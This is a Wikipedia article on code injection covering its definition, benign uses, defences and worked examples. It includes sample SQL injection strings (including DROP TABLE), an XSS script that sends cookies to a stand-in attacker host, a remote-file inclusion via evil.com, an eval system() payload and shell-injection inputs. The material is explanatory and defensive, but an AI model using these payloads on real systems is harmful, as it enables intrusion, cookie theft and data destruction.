Movatterモバイル変換


[0]ホーム

URL:


Jump to content
WikipediaThe Free Encyclopedia
Search

Code injection

From Wikipedia, the free encyclopedia
Computer bug exploit caused by invalid data
Not to be confused withDependency injection orArbitrary code execution.

Code injection is acomputer security exploit where aprogram fails to correctly process external data, such as user input, causing it to interpret the data as executable commands. Anattacker using this method "injects"code into the program while it is running. Successful exploitation of a code injection vulnerability can result indata breaches, access to restricted or criticalcomputer systems, and the spread ofmalware.

Code injectionvulnerabilities occur when an application sends untrusted data to aninterpreter, which then executes the injected text as code. Injection flaws are often found in services like Structured Query Language (SQL) databases, Extensible Markup Language (XML) parsers,operating system commands, Simple Mail Transfer Protocol (SMTP) headers, and other programarguments. Injection flaws can be identified throughsource code examination,[1]Static analysis, or dynamic testing methods such asfuzzing.[2]

There are numerous types of code injection vulnerabilities, but most are errors in interpretation—they treat benign user input as code or fail to distinguish input from system commands. Many examples of interpretation errors can exist outside of computer science, such as the comedy routine"Who's on First?". Code injection can be used maliciously for many purposes, including:

Code injections that target theInternet of Things could also lead to severe consequences such asdata breaches and service disruption.[3]

Code injections can occur on any type of program running with aninterpreter. Doing this is trivial to most, and one of the primary reasons why server software is kept away from users. An example of how you can see code injection first-hand is to use yourbrowser's developer tools.

Code injection vulnerabilities are recorded by the National Institute of Standards and Technology(NIST) in the National Vulnerability Database (NVD) asCWE-94. Code injection peaked in 2008 at 5.66% as a percentage of all recorded vulnerabilities.[4]

Benign and unintentional use

[edit]

Code injection may be done with good intentions. For example, changing or tweaking the behavior of a program or system through code injection can cause the system to behave in a certain way without malicious intent.[5][6] Code injection could, for example:

  • Introduce a useful new column that did not appear in the original design of a search results page.
  • Offer a new way to filter, order, or group data by using a field not exposed in the default functions of the original design.
  • Add functionality like connecting to online resources in an offline program.
  • Override a function, making calls redirect to another implementation. This can be done with theDynamic linker inLinux.[7]

Some users may unsuspectingly perform code injection because the input they provided to a program was not considered by those who originally developed the system. For example:

  • What the user may consider as valid input may contain token characters or strings that have beenreserved by the developer to have special meaning (such as theampersand or quotation marks).
  • The user may submit a malformed file as input that is handled properly in one application but is toxic to the receiving system.

Another benign use of code injection is the discovery of injection flaws to find and fix vulnerabilities. This is known as apenetration test.

Preventing Code Injection

[edit]

To prevent code injection problems, the person could use secure input and output handling strategies, such as:

  • Using anapplication programming interface (API) that, if used properly, is secure against all input characters. Parameterized queries allow the moving of user data out of a string to be interpreted. Additionally, Criteria API[8] and similar APIs move away from the concept of command strings to be created and interpreted.
  • Enforcing language separation via astatic type system.[9]
  • Validating or "sanitizing" input, such aswhitelisting known good values. This can be done on the client side, which is prone to modification by malicious users, or on the server side, which is more secure.
  • Encoding input or escaping dangerous characters. For instance, in PHP, using thehtmlspecialchars() function to escape special characters for safe output of text in HTML and themysqli::real_escape_string() function to isolate data which will be included in anSQL request can protect against SQL injection.
  • Encoding output, which can be used to preventXSS attacks against website visitors.
  • Using theHttpOnly flag forHTTP cookies. When this flag is set, it does not allow client-side script interaction with cookies, thereby preventing certainXSS attacks.[10]
  • Modular shell disassociation from thekernel.
  • RegardingSQL injection, one can useparameterized queries,stored procedures, whitelist input validation, and other approaches to help mitigate the risk of an attack.[11] Usingobject-relational mapping can further help prevent users from directly manipulatingSQL queries.

The solutions described above deal primarily with web-based injection of HTML or script code into a server-side application. Other approaches must be taken, however, when dealing with injections of user code on a user-operated machine, which often results in privilege elevation attacks. Some approaches that are used to detect and isolate managed and unmanaged code injections are:

  • Runtime imagehash validation, which involves capturing the hash of a partial or complete image of the executable loaded into memory and comparing it with stored and expected hashes.
  • NX bit: all user data is stored in special memory sections that are marked as non-executable. The processor is made aware that no code exists in that part of memory and refuses to execute anything found in there.
  • Usecanaries, which are randomly placed values in a stack. At runtime, a canary is checked when a function returns. If a canary has been modified, the program stops execution and exits. This occurs on a failedStack Overflow Attack.
  • Code Pointer Masking (CPM): after loading a (potentially changed) code pointer into a register, the user can apply abitmask to the pointer. This effectively restricts the addresses to which the pointer can refer. This is used in theC programming language.[12]

Examples

[edit]

SQL injection

[edit]
Main article:SQL injection

AnSQL injection takes advantage ofSQL syntax to inject malicious commands that can read or modify a database or compromise the meaning of the original query.[13]

For example, consider a web page that has twotext fields which allow users to enter a username and a password. The code behind the page will generate anSQL query to check the password against the list of user names:

SELECTUserList.UsernameFROMUserListWHEREUserList.Username='Username'ANDUserList.Password='Password'

If this query returns any rows, then access is granted. However, if the malicious user enters a valid Username and injects some valid code "('Password' OR '1'='1') in the Password field, then the resulting query will look like this:

SELECTUserList.UsernameFROMUserListWHEREUserList.Username='Username'ANDUserList.Password='Password'OR'1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "'1'='1'" will always be true and many rows will be returned, thereby allowing access.

The technique may be refined to allow multiple statements to run or even to load up and run external programs.

Assume a query with the following format:

SELECTUser.UserIDFROMUserWHEREUser.UserID=' " + UserID + " 'ANDUser.Pwd=' " + Password + " '

If an adversary has the following for inputs:

UserID: ';DROP TABLE User; --'

Password: 'OR"='

then the query will be parsed as:

SELECTUser.UserIDFROMUserWHEREUser.UserID='';DROPTABLEUser;--'AND Pwd = ''OR"='

The resultingUser table will be removed from the database. This occurs because the; symbol signifies the end of one command and the start of a new one.-- signifies the start of a comment.

Cross-site scripting

[edit]
Main article:Cross-site scripting

Code injection is the malicious injection or introduction of code into an application. Someweb servers have aguestbook script, which accepts small messages from users and typically receives messages such as:

Very nice site!

However, a malicious person may know of a code injection vulnerability in the guestbook and enter a message such as:

Nice site, I think I'll take it.<script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal="+escape(document.cookie)</script>

If another user views the page, then the injected code will be executed. This code can allow the attacker to impersonate another user. However, this same software bug can be accidentally triggered by an unassuming user, which will cause the website to display bad HTML code.

HTML and script injection are popular subjects, commonly termed "cross-site scripting" or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the output HTML without being checked for HTML code or scripting.

Many of these problems are related to erroneous assumptions of what input data is possible or the effects of special data.[14]

Server Side Template Injection

[edit]

Template engines are often used in modernweb applications to display dynamic data. However, trusting non-validated user data can frequently lead to critical vulnerabilities[15] such as server-side Side Template Injections. While this vulnerability is similar tocross-site scripting, template injection can be leveraged to execute code on the web server rather than in a visitor's browser. It abuses a common workflow of web applications, which often use user inputs and templates to render a web page. The example below shows the concept. Here the template{{visitor_name}} is replaced with data during the rendering process.

Hello {{visitor_name}}

An attacker can use this workflow to inject code into the rendering pipeline by providing a maliciousvisitor_name. Depending on the implementation of the web application, he could choose to inject{{7*'7'}} which the renderer could resolve toHello 7777777. Note that the actual web server has evaluated the malicious code and therefore could be vulnerable toremote code execution.

Dynamic evaluation vulnerabilities

[edit]

Aneval() injection vulnerability occurs when an attacker can control all or part of an input string that is fed into aneval()function call.[16]

$myvar='somevalue';$x=$_GET['arg'];eval('$myvar = '.$x.';');

The argument of "eval" will be processed asPHP, so additional commands can be appended. For example, if "arg" is set to "10;system('/bin/echo uh-oh')", additional code is run which executes a program on the server, in this case "/bin/echo".

Object injection

[edit]

PHP allowsserialization anddeserialization of wholeobjects. If an untrusted input is allowed into the deserialization function, it is possible to overwrite existing classes in the program and execute malicious attacks.[17] Such an attack onJoomla was found in 2013.[18]

Remote file injection

[edit]
Main article:File inclusion vulnerability

Consider thisPHP program (which includes a file specified by request):

<?php$color='blue';if(isset($_GET['color']))$color=$_GET['color'];require($color.'.php');

The example expects a color to be provided, while attackers might provideCOLOR=http://evil.com/exploit causing PHP to load the remote file.

Format specifier injection

[edit]
Main article:Uncontrolled format string

Format string bugs appear most commonly when a programmer wishes to print a string containing user-supplied data. The programmer may mistakenly writeprintf(buffer) instead ofprintf("%s", buffer). The first version interpretsbuffer as a format string and parses any formatting instructions it may contain. The second version simply prints a string to the screen, as the programmer intended. Consider the following shortC program that has a local variable chararraypassword which holds a password; the program asks the user for an integer and a string, then echoes out the user-provided string.

charuser_input[100];intint_in;charpassword[10]="Password1";printf("Enter an integer\n");scanf("%d",&int_in);printf("Please enter a string\n");fgets(user_input,sizeof(user_input),stdin);printf(user_input);// Safe version is: printf("%s", user_input);printf("\n");return0;

If the user input is filled with a list of format specifiers, such as%s%s%s%s%s%s%s%s, thenprintf()will start reading from thestack. Eventually, one of the%s format specifiers will access the address ofpassword, which is on the stack, and printPassword1 to the screen.

Shell injection

[edit]

Shell injection (or command injection[19]) is named afterUNIX shells but applies to most systems that allow software to programmatically execute acommand line. Here is an example vulnerabletcsh script:

!/bin/tcshcheck arg outputs it matchesifarg is oneif($1== 1)echoit matches

If the above is stored in the executable file./check, the shell command./check " 1 ) evil" will attempt to execute the injected shell commandevil instead of comparing the argument with the constant one. Here, the code under attack is the code that is trying to check the parameter, the very code that might have been trying to validate the parameter to defend against an attack.[20]

Any function that can be used to compose and run a shell command is a potential vehicle for launching a shell injection attack. Among these aresystem(),StartProcess(), andSystem.Diagnostics.Process.Start().

Client-server systems such asweb browser interaction withweb servers are potentially vulnerable to shell injection. Consider the following short PHP program that can run on a web server to run an external program calledfunnytext to replace a word the user sent with some other word.

<?phppassthru("/bin/funnytext ".$_GET['USER_INPUT']);

Thepassthru function in the above program composes a shell command that is then executed by the web server. Since part of the command it composes is taken from theURL provided by the web browser, this allows theURL to inject malicious shell commands. One can inject code into this program in several ways by exploiting the syntax of various shell features (this list is not exhaustive):[21]

Shell featureUSER_INPUT valueResulting shell commandExplanation
Sequential execution; malicious_command/bin/funnytext ; malicious_commandExecutesfunnytext, then executesmalicious_command.
Pipelines| malicious_command/bin/funnytext | malicious_commandSends the output offunnytext as input tomalicious_command.
Command substitution`malicious_command`/bin/funnytext `malicious_command`Sends the output ofmalicious_command as arguments tofunnytext.
Command substitution$(malicious_command)/bin/funnytext $(malicious_command)Sends the output ofmalicious_command as arguments tofunnytext.
AND list&& malicious_command/bin/funnytext && malicious_commandExecutesmalicious_commandifffunnytext returns an exit status of 0 (success).
OR list|| malicious_command/bin/funnytext || malicious_commandExecutesmalicious_commandifffunnytext returns a nonzero exit status (error).
Output redirection> ~/.bashrc/bin/funnytext > ~/.bashrcOverwrites the contents the.bashrc file with the output offunnytext.
Input redirection< ~/.bashrc/bin/funnytext < ~/.bashrcSends the contents of the.bashrc file as input tofunnytext.

Some languages offer functions to properly escape or quote strings that are used to construct shell commands:

However, this still puts the burden on programmers to know/learn about these functions and to remember to make use of them every time they use shell commands. In addition to using these functions, validating or sanitizing the user input is also recommended.

A safer alternative is to useAPIs that execute external programs directly rather than through a shell, thus preventing the possibility of shell injection. However, theseAPIs tend to not support various convenience features of shells and/or to be more cumbersome/verbose compared to concise shell syntax.

See also

[edit]

References

[edit]
  1. ^"Top 10 Web Application Security Vulnerabilities".Penn Computing. University of Pennsylvania. Archived fromthe original on 24 February 2018. Retrieved10 December 2016.
  2. ^"OWASP Top 10 2013 A1: Injection Flaws". OWASP.Archived from the original on 28 January 2016. Retrieved19 December 2013.
  3. ^Noman, Haitham Ameen; Abu-Sharkh, Osama M. F. (January 2023)."Code Injection Attacks in Wireless-Based Internet of Things (IoT): A Comprehensive Review and Practical Implementations".Sensors.23 (13): 6067.Bibcode:2023Senso..23.6067N.doi:10.3390/s23136067.ISSN 1424-8220.PMC 10346793.PMID 37447915.
  4. ^"NVD - Statistics Search".web.nvd.nist.gov.Archived from the original on 15 December 2023. Retrieved9 December 2016.
  5. ^Srinivasan, Raghunathan."Towards More Effective Virus Detectors"(PDF).Arizona State University. Archived fromthe original(PDF) on 29 July 2010. Retrieved18 September 2010.Benevolent use of code injection occurs when a user changes the behaviour of a program to meet system requirements.
  6. ^Morales, Jose Andre; Kartaltepe, Erhan; Xu, Shouhuai; Sandhu, Ravi (2010). "Symptoms-Based Detection of Bot Processes".Computer Network Security. Lecture Notes in Computer Science. Vol. 6258. Berlin, Heidelberg: Springer. pp. 229–241.CiteSeerX 10.1.1.185.2152.doi:10.1007/978-3-642-14706-7_18.ISBN 978-3-642-14705-0.ISSN 0302-9743.
  7. ^"Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs".Rafał Cieślak's blog. 2 April 2013.Archived from the original on 25 December 2021. Retrieved10 December 2016.
  8. ^"The Java EE 6 Tutorial: Chapter 35 Using the Criteria API to Create Queries". Oracle.Archived from the original on 11 November 2013. Retrieved19 December 2013.
  9. ^Moertel, Tom (18 October 2006)."A type-based solution to the "strings problem": a fitting end to XSS and SQL-injection holes?".Tom Moertel's Blog.Archived from the original on 6 August 2013. Retrieved21 October 2018.
  10. ^"HttpOnly".OWASP. 12 November 2014.Archived from the original on 26 December 2008. Retrieved10 December 2016.
  11. ^"SQL Injection Prevention Cheat Sheet".OWASP.Archived from the original on 20 January 2012. Retrieved10 December 2016.
  12. ^Philippaerts, Pieter; et al. (1 June 2013)."CPM: Masking Code Pointers to Prevent Code Injection Attacks"(PDF).ACM Transactions on Information and System Security.16 (1):1–27.doi:10.1145/2487222.2487223.ISSN 1094-9224.S2CID 10947780.Archived(PDF) from the original on 24 February 2021. Retrieved21 October 2018.
  13. ^Zhuo, Z.; Cai, T.; Zhang, X.; Lv, F. (12 March 2021)."Long short-term memory on abstract syntax tree for SQL injection detection".IET Software.15 (2):188–197.doi:10.1049/sfw2.12018.ISSN 1751-8806.S2CID 233582569.
  14. ^Hope, Brian; Hope, Paco; Walther, Ben (15 May 2009).Web Security Testing Cookbook. Sebastopol, CA:O'Reilly Media. p. 254.ISBN 978-0-596-51483-9.OCLC 297573828.
  15. ^"Server-Side Template Injection".PortSwigger Research. 5 August 2015.Archived from the original on 22 May 2022. Retrieved22 May 2022.
  16. ^Christey, Steven M. (3 May 2006)."Dynamic Evaluation Vulnerabilities in PHP applications".Full Disclosure (Mailing list).Archived from the original on 13 November 2009. Retrieved21 October 2018.
  17. ^"Unserialize function warnings". PHP.net.Archived from the original on 9 May 2015. Retrieved6 June 2014.
  18. ^"Analysis of the Joomla PHP Object Injection Vulnerability".Archived from the original on 2 March 2013. Retrieved6 June 2014.
  19. ^[OWASP "Command Injection"].Archived from the original on 20 December 2013. Retrieved19 December 2013.{{cite web}}:Check|url= value (help)
  20. ^Douglas W. Jones, CS:3620 Notes,Lecture 4—Shell Scripts.Archived 24 September 2024 at theWayback Machine, Spring 2018.
  21. ^"Command Injection - Black Hat Library". Archived fromthe original on 27 February 2015. Retrieved27 February 2015.

External links

[edit]
Related security categories
vectorial version
vectorial version
Threats
Defenses
Retrieved from "https://en.wikipedia.org/w/index.php?title=Code_injection&oldid=1277318592"
Categories:
Hidden categories:

[8]ページ先頭

©2009-2025 Movatter.jp